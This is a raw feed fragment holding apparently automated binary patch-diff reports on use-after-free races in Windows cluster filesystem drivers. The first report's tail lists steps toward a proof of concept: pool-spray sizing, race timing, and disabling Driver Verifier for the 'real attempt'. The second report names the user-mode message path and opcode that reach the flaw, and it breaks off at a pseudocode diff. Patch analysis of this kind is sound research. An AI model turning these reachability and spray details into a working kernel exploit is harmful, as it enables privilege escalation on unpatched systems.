&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;Security&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;layout&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x000&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fields&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x0e0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;volume&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;identifier&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;bit&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;used&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ReplayCacheManager&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x0e4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;volume&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;identifier&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;bit&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x0e8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;encryption&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;int32&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;—&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;must&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;be&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EncryptionManager&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x0ec&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;encryption&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;compared&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;via&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;memcmp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;Encryption&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;EncryptionManager&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x28&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;CVCA&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stored&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pointer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Buf2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;memcmp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x20&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stored&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;int32&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;compared&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;with&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0xe8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;and&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;used&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;as&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;memcmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Size&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nl"&gt;SigningLock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;SigningLock&lt;/span&gt;&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="mi"&gt;@3&lt;/span&gt;&lt;span class="n"&gt;PEAVRWLock&lt;/span&gt;&lt;span class="p"&gt;@@&lt;/span&gt;&lt;span class="n"&gt;EA&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;—&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RWLock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wrapping&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;an&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ERESOURCE&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;
&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="n"&gt;exclusive&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAcquireResourceExclusiveLite&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;guards&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;free&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="n"&gt;shared&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RWLock&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;AcquireShared&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ReleaseShared&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;added&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;by&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;patch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;around&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Pool&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;constant&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x41435643&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;CVCA&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;p&gt;Only one function changed between the two binaries.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;CsvCamSetSecurityInfo&lt;/code&gt; (&lt;code&gt;sub_1C00BCAAC&lt;/code&gt;, similarity 0.9638, change_type = security_relevant)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;What changed:&lt;/strong&gt; The unprotected read+dereference of the global &lt;code&gt;EncryptionManager&lt;/code&gt; pointer was wrapped in &lt;code&gt;RWLock::AcquireShared&lt;/code&gt; / &lt;code&gt;RWLock::ReleaseShared&lt;/code&gt; (the shared side of &lt;code&gt;SigningLock&lt;/code&gt;). Incidentally, the entry-cached &lt;code&gt;eax&lt;/code&gt; copy of &lt;code&gt;*(context+0xe8)&lt;/code&gt; was replaced by an in-memory re-read, and the length test changed from &lt;code&gt;test eax, eax; jz&lt;/code&gt; to &lt;code&gt;cmp [rcx+0xe8], ebp; jbe&lt;/code&gt;; for a length value these two tests are equivalent and are not security-relevant on their own.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Helper functions introduced by the patch:&lt;/strong&gt; &lt;code&gt;RWLock::AcquireShared&lt;/code&gt; (&lt;code&gt;0x1C0018818&lt;/code&gt;) and &lt;code&gt;RWLock::ReleaseShared&lt;/code&gt; (&lt;code&gt;0x1C0018850&lt;/code&gt;) exist only in the patched build. Their bodies reference the global &lt;code&gt;SigningLock&lt;/code&gt; directly (&lt;code&gt;AcquireShared&lt;/code&gt;: &lt;code&gt;KeEnterCriticalRegion&lt;/code&gt; + &lt;code&gt;ExAcquireResourceSharedLite([SigningLock], 1)&lt;/code&gt;; &lt;code&gt;ReleaseShared&lt;/code&gt;: &lt;code&gt;ExReleaseResourceLite&lt;/code&gt; + &lt;code&gt;KeLeaveCriticalRegion&lt;/code&gt;). In the unpatched build this identical shared-lock sequence was emitted inline around the &lt;code&gt;ReplayCacheManagerObject&lt;/code&gt; read; the patch factors it into these two helpers, reuses them for that read and the &lt;code&gt;UpdateGlobalSequenceNumber&lt;/code&gt; path, and newly applies them to the previously-unprotected &lt;code&gt;EncryptionManager&lt;/code&gt; read.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Address/symbol reuse:&lt;/strong&gt; At &lt;code&gt;0x1C0018818&lt;/code&gt; the unpatched build contains &lt;code&gt;__GSHandlerCheck&lt;/code&gt; (an unrelated function that the patched build relocates a few bytes later to &lt;code&gt;0x1C0018888&lt;/code&gt; to make room for the new helpers). &lt;code&gt;sub_1C0058100&lt;/code&gt; = &lt;code&gt;Encryption::&lt;/code&gt;scalar deleting destructor&lt;code&gt;` (&lt;/code&gt;??_GEncryption&lt;code&gt;), whose body calls&lt;/code&gt;Encryption::ReleaseAll&lt;code&gt;(&lt;/code&gt;0x1C0058109&lt;code&gt;) then&lt;/code&gt;ExFreePoolWithTag&lt;code&gt;(&lt;/code&gt;0x1C0058113&lt;code&gt;).&lt;/code&gt;sub_1C0018950&lt;code&gt;(unpatched) /&lt;/code&gt;sub_1C00189C0&lt;code&gt;(patched) =&lt;/code&gt;memcmp`.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;CsvCamSetSecurityInfo&lt;/code&gt; is the only function whose behavior changed; the two RWLock helpers are the newly-emitted code that implements the fix.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Removed:&lt;/strong&gt; none.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Added:&lt;/strong&gt; &lt;code&gt;RWLock::AcquireShared&lt;/code&gt; (&lt;code&gt;0x1C0018818&lt;/code&gt;) and &lt;code&gt;RWLock::ReleaseShared&lt;/code&gt; (&lt;code&gt;0x1C0018850&lt;/code&gt;). These two helper functions exist only in the patched build; they encapsulate the &lt;code&gt;SigningLock&lt;/code&gt; shared acquire/release sequence that the unpatched build emitted inline. (The aggregate table in §1 pairs functions by address, so these two are counted against the &lt;code&gt;__GSHandlerCheck&lt;/code&gt; / &lt;code&gt;__GSHandlerCheckCommon&lt;/code&gt; functions that occupy those addresses in the unpatched build rather than reported as unmatched; by content they are genuinely new.)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;No added sanitizers and no removed mitigations. The behavioral fix is confined to &lt;code&gt;CsvCamSetSecurityInfo&lt;/code&gt;: a &lt;code&gt;SigningLock&lt;/code&gt; shared lock (via the two new helpers) is added around the previously-unprotected &lt;code&gt;EncryptionManager&lt;/code&gt; read. This makes the diff easy to audit and confirms that the patch targets the UAF in &lt;code&gt;CsvCamSetSecurityInfo&lt;/code&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Confidence:&lt;/strong&gt; High.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The diff is unambiguous: one function, two inserted &lt;code&gt;RWLock::AcquireShared&lt;/code&gt; / &lt;code&gt;ReleaseShared&lt;/code&gt; calls around a read that was previously unlocked, plus a tightened predicate and a re-read from memory. The pattern mirrors the protection already present on the &lt;code&gt;ReplayCacheManagerObject&lt;/code&gt; read, which serves as an internal reference implementation.&lt;/li&gt;
&lt;li&gt;The assembly at &lt;code&gt;0x1C00BCADD&lt;/code&gt; through &lt;code&gt;0x1C00BCB01&lt;/code&gt; is unambiguously an unprotected read-then-deref-then-&lt;code&gt;memcmp&lt;/code&gt;, and &lt;code&gt;0x1C00BCC00&lt;/code&gt; is unambiguously a free of the same object under a &lt;code&gt;SigningLock&lt;/code&gt; exclusive lock the reader does not share.&lt;/li&gt;
&lt;li&gt;The vulnerable function is reachable from &lt;code&gt;CsvFsHandleMessage&lt;/code&gt; (&lt;code&gt;sub_1C0005F50&lt;/code&gt;) → &lt;code&gt;CsvFsHandleSetSecurityInfo&lt;/code&gt; (&lt;code&gt;sub_1C0046974&lt;/code&gt;) → &lt;code&gt;CsvCamSetSecurityInfo&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Assumptions to verify manually before PoC:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Message/FSCTL code.&lt;/strong&gt; Confirm via dynamic tracing which user-mode operation routes into &lt;code&gt;CsvFsHandleSetSecurityInfo&lt;/code&gt; (case handling inside &lt;code&gt;CsvFsHandleMessage&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Privilege requirement.&lt;/strong&gt; Whether a low-privileged user can reach the set-security-info path, or whether local-administrators-only access is required, depends on the cluster's security descriptor. Verify with &lt;code&gt;!sd&lt;/code&gt; on the device object.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pre-conditioning &lt;code&gt;*(context+0xe8)&lt;/code&gt;.&lt;/strong&gt; Confirm what supplies the non-empty encryption input that flips this length positive.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pool-reclamation primitive choice.&lt;/strong&gt; The 0x28 PagedPool size class is small enough for many spray primitives; the optimal one depends on the target Windows build and pool allocator.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Race timing.&lt;/strong&gt; The window is a few instructions plus the &lt;code&gt;memcmp&lt;/code&gt;. On a multi-core system the race is winnable but requires many threads or careful CPU pinning. Validate empirically with DV Special Pool first to confirm reachability, then disable DV for the real attempt.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Address changes.&lt;/strong&gt; The addresses reflect this specific build. If you reverse a different build, rebase — the &lt;em&gt;pattern&lt;/em&gt; (unlocked &lt;code&gt;EncryptionManager&lt;/code&gt; read vs &lt;code&gt;SigningLock&lt;/code&gt;-protected exclusive free) is what matters.&lt;/li&gt;
&lt;/ol&gt;</content><category term="Corpus"/></entry><entry><title>csvnsflt.sys — Use-After-Free race from unlocked global reads in CsvCamSetSecurityInfo (CWE-416, CWE-362) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/csvnsflt_fe1360eb-csvnsflt-report-20260628-214549.html" rel="alternate"/><published>2026-06-28T00:00:00-07:00</published><updated>2026-06-28T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-28:/drift-corpus/item/csvnsflt_fe1360eb-csvnsflt-report-20260628-214549.html</id><summary type="html">&lt;p&gt;KB5078752&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary:&lt;/strong&gt; &lt;code&gt;csvnsflt_unpatched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary:&lt;/strong&gt; &lt;code&gt;csvnsflt_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall Similarity:&lt;/strong&gt; 0.9912&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics:&lt;/strong&gt; 137 matched functions, 1 changed function, 136 identical functions, 0 unmatched functions in either direction.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch fixes a use-after-free that is caused by a lock imbalance in &lt;code&gt;CsvCamSetSecurityInfo&lt;/code&gt;. Two code regions in the unpatched build read and update global objects with no lock, while other regions of the same function free and replace those objects while holding &lt;code&gt;SigningLock&lt;/code&gt; exclusive. The patch adds a shared-lock acquire/release around both previously-unlocked regions so readers are serialized against the exclusive writer.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; High&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Use-After-Free caused by a data race / missing synchronization (CWE-416, CWE-362)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;CsvCamSetSecurityInfo @ 0x1C0013304&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt;
&lt;code&gt;CsvCamSetSecurityInfo&lt;/code&gt; manages two process-wide objects, both protected by the same lock &lt;code&gt;SigningLock&lt;/code&gt; (an &lt;code&gt;RWLock&lt;/code&gt; wrapping an &lt;code&gt;ERESOURCE&lt;/code&gt;):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;EncryptionManager&lt;/code&gt;, a pointer to an &lt;code&gt;Encryption&lt;/code&gt; object. This is a &lt;code&gt;0x28&lt;/code&gt;-byte PagedPool allocation (tag &lt;code&gt;0x41435643&lt;/code&gt;) that holds BCrypt algorithm/key/hash handles and buffers. It is freed by &lt;code&gt;Encryption::\&lt;/code&gt;scalar deleting destructor'`, which also releases its embedded BCrypt handles and buffers.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ReplayCacheManagerObject&lt;/code&gt;, a &lt;code&gt;0x1010&lt;/code&gt;-byte PagedPool allocation (tag &lt;code&gt;0x41435643&lt;/code&gt;) that holds the global sequence-number state. It is freed by &lt;code&gt;ExFreePoolWithTag&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In the unpatched build two regions of this function touch these globals with no lock held:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;At &lt;code&gt;0x1C0013332&lt;/code&gt; the function reads &lt;code&gt;EncryptionManager&lt;/code&gt; into a register with no lock, then dereferences the captured pointer at &lt;code&gt;+0x20&lt;/code&gt; (&lt;code&gt;0x1C0013341&lt;/code&gt;) and &lt;code&gt;+0x18&lt;/code&gt; (&lt;code&gt;0x1C0013348&lt;/code&gt;) and passes the &lt;code&gt;+0x18&lt;/code&gt; field to &lt;code&gt;memcmp&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;At &lt;code&gt;0x1C0013617&lt;/code&gt; the sequence-number update loop reads &lt;code&gt;ReplayCacheManagerObject&lt;/code&gt; with no lock, dereferences it at &lt;code&gt;+0x18&lt;/code&gt;/&lt;code&gt;+0x10&lt;/code&gt;/&lt;code&gt;+0x4&lt;/code&gt;, and writes it with &lt;code&gt;xchg [rbx+0x20]&lt;/code&gt; (&lt;code&gt;0x1C001363F&lt;/code&gt;) and &lt;code&gt;lock cmpxchg [rbx+0x18]&lt;/code&gt; (&lt;code&gt;0x1C0013645&lt;/code&gt;).&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Meanwhile, the replacement paths in the same function acquire &lt;code&gt;SigningLock&lt;/code&gt; &lt;strong&gt;exclusive&lt;/strong&gt; (&lt;code&gt;ExAcquireResourceExclusiveLite&lt;/code&gt;) before freeing the old object and installing a new one: the old &lt;code&gt;EncryptionManager&lt;/code&gt; is freed at &lt;code&gt;0x1C0013401&lt;/code&gt;; the old &lt;code&gt;ReplayCacheManagerObject&lt;/code&gt; is freed at &lt;code&gt;0x1C001359F&lt;/code&gt;. Because the reader regions hold no lock, a second concurrent invocation can free the object between the moment the pointer is captured and the moment its fields are read or written. The region 1 race is a use-after-free &lt;strong&gt;read&lt;/strong&gt; of a freed &lt;code&gt;Encryption&lt;/code&gt; object; the region 2 race is a use-after-free &lt;strong&gt;write&lt;/strong&gt; (interlocked update) into a freed &lt;code&gt;ReplayCacheManager&lt;/code&gt; object.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;memcmp&lt;/code&gt; at &lt;code&gt;0x1C0013353&lt;/code&gt; compares user-supplied bytes against the object's &lt;code&gt;+0x18&lt;/code&gt; buffer and returns only an equal / not-equal boolean (&lt;code&gt;memcmp(...) == 0&lt;/code&gt;); it does not return the compared bytes to the caller, so this path is not an information-disclosure channel.&lt;/p&gt;
&lt;p&gt;The patch wraps both previously-unlocked regions in &lt;code&gt;KeEnterCriticalRegion&lt;/code&gt; + &lt;code&gt;ExAcquireResourceSharedLite(SigningLock)&lt;/code&gt; ... &lt;code&gt;ExReleaseResourceLite&lt;/code&gt; + &lt;code&gt;KeLeaveCriticalRegion&lt;/code&gt;, so the reads and the interlocked writes are serialized against the exclusive writer that frees the objects.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Attacker-Reachable Entry Point &amp;amp; Data Flow:&lt;/strong&gt;
1. &lt;strong&gt;User-Mode API:&lt;/strong&gt; A caller sends a message with &lt;code&gt;FilterSendMessage(hPort, buffer, ...)&lt;/code&gt; to the minifilter communication port.
2. &lt;strong&gt;Message Notify Callback:&lt;/strong&gt; The registered callback &lt;code&gt;NfltMessage @ 0x1C0005F60&lt;/code&gt; receives the message. It validates the length, allocates a pool copy (tag &lt;code&gt;0x634D664E&lt;/code&gt;), &lt;code&gt;ProbeForRead&lt;/code&gt;s the input, copies it with &lt;code&gt;memmove&lt;/code&gt;, and switches on the first DWORD.
3. &lt;strong&gt;Opcode Dispatch:&lt;/strong&gt; When the first DWORD equals &lt;code&gt;6&lt;/code&gt; and the message length is &lt;code&gt;&amp;gt;= 0x14&lt;/code&gt;, the callback calls &lt;code&gt;CsvCamSetSecurityInfo(buffer+4)&lt;/code&gt; at &lt;code&gt;0x1C0006299&lt;/code&gt;.
4. &lt;strong&gt;Vulnerable Region:&lt;/strong&gt; &lt;code&gt;CsvCamSetSecurityInfo&lt;/code&gt; performs the unlocked global reads/updates described above.&lt;/p&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// === UNPATCHED CsvCamSetSecurityInfo @ 0x1C0013304 (region 1: unlocked read) ===&lt;/span&gt;
